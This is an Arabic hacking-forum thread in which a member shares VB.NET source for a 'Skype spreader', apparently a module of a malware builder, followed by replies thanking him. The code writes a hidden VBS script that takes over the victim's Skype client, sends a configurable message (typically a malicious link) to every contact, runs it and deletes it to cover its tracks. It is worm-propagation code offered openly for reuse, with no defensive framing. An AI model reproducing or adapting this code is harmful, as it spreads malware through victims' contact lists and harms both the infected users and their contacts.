1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
الكاتب : هجمه مرتده | المشاهدات : 797 | الردود : 10
  1. هجمه مرتده Developer

    الأنتساب:
    ‏12 يونيو 2012
    المشاركات:
    46
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    20
    نظام التشغيل:
    Linux
    اللغة البرمجية:
    Python

    [​IMG]

    بسم الله الرحمن الرحيم

    السلام عليكم و رحمة الله
    وبركاته

    خلال تجوالي في احد المنتديات الاجنبية وجدت هذا الكود الخاص بالانتشار في السكايبي
    فأردت طرحه عسى ان يستفيدو منه الاخوة ويفيدونا معهم


    [​IMG]
    الكود

    كود PHP:
    Sub SkypeSpread()
    If 
    "%SKYPE%" "True" Then
    Try
    Dim g As New StreamWriter(Environment.GetFolderPath(Environment .SpecialFolder.MyDocuments) & "\s4c.vbs")
    g.BaseStream.Seek(0SeekOrigin.End)
    g.WriteLine("on error resume next")
    g.WriteLine("set Fruxr = WScript.CreateObject(""Skype4COM.Skype"", ""Skype_"")")
    g.WriteLine("Fruxr.Client.Start()")
    g.WriteLine("Fruxr.Attach()")
    g.WriteLine("For Each KZN In Fruxr.Friends")
    g.WriteLine("Fruxr.SendMessage KZN.handle,""%IMMESSAGE%""")
    g.WriteLine("next")
    g.Close()
    Dim p As New Process
    Dim ProcessProperties 
    As New ProcessStartInfo
    ProcessProperties
    .FileName Environment.GetFolderPath(Environment.SpecialFolde r.MyDocuments) & "\s4c.vbs"
    Dim myProcess As Process Process.Start(ProcessProperties)
    myProcess.WaitForExit()
    Threading.Thread.Sleep(5000)
    IO.File.Delete(Environment.GetFolderPath(Environme nt.SpecialFolder.MyDocuments) & "\s4c.vbs")
    Catch 
    ex As Exception
    MsgBox
    (ex.ToString)
    End Try
    End If
    End Sub
    [​IMG]
    تحميل الكود بصيغة TxT

    [​IMG]


    [​IMG]
     
  2. Wo0oLf DeveloPer Plus

    الأنتساب:
    ‏22 مارس 2012
    المشاركات:
    123
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    50
    الوظيفة:
    طالب جامعي Computer science
    الإقامة:
    مقيم في لبنان
    رد: كود الانتشار في السكايبيSkype Spreader

    يعطيك الف عافية على الطرح

    بارك الله فيك
     
  3. ~.O M A R.~ Developer

    الأنتساب:
    ‏16 يوليو 2012
    المشاركات:
    62
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    20
    الإقامة:
    الأردن
    رد: كود الانتشار في السكايبيSkype Spreader

    بارك الله فيك يا غالى

    مبدع يا غالى :{1}:
     
  4. سمو الملك Active DeveloPer

    الأنتساب:
    ‏1 ابريل 2014
    المشاركات:
    93
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    30
    نظام التشغيل:
    windows 7
    Facebook:
    YouTube:
    رد: كود الانتشار في السكايبيSkype Spreader

    مشكور أخي عل جهودك . #

    وشكرا على الطرح .
     
  5. ★ قبعة القش ★ V • I • P

    الأنتساب:
    ‏10 مايو 2014
    المشاركات:
    447
    الإعجابات المتلقاة:
    16
    نقاط الجائزة:
    50
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: كود الانتشار في السكايبيSkype Spreader

    • تسلم إيدك يا غالي كود جميل و مصحح من بعض أخطاء
     
  6. backdoor200 Developer

    الأنتساب:
    ‏21 مايو 2014
    المشاركات:
    12
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    5
    نظام التشغيل:
    Linux
    اللغة البرمجية:
    Perl
    رد: كود الانتشار في السكايبيSkype Spreader

    شكرا لك حبيبي
     
  7. KaDiM aL-iRaQi ExpertDeveloper ExpErt DeveloPer

    الأنتساب:
    ‏2 سبتمبر 2014
    المشاركات:
    680
    الإعجابات المتلقاة:
    24
    نقاط الجائزة:
    50
    رد: كود الانتشار في السكايبيSkype Spreader

    بآرك آلله بيك
    )5:"​
     
  8. hashim_IRAQ Developer

    الأنتساب:
    ‏2 سبتمبر 2014
    المشاركات:
    59
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    30
    نظام التشغيل:
    Linux
    اللغة البرمجية:
    Python
    رد: كود الانتشار في السكايبيSkype Spreader

    تسلم اخي الغالي
     
  9. عہلي الصہقہور هنہا <span style="font-weight: bold; text-shadow: #BBBB V • I • P

    الأنتساب:
    ‏29 نوفمبر 2014
    المشاركات:
    283
    الإعجابات المتلقاة:
    6
    نقاط الجائزة:
    50
    الإقامة:
    ألعراق ألعظيم
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    رد: كود الانتشار في السكايبيSkype Spreader

    بارك الله بيك مبدع
     
  10. MR.HACKER.DZ Developer

    الأنتساب:
    ‏23 سبتمبر 2014
    المشاركات:
    36
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    20
    رد: كود الانتشار في السكايبيSkype Spreader

    شكرا على الكود
     

مشاركة هذه الصفحة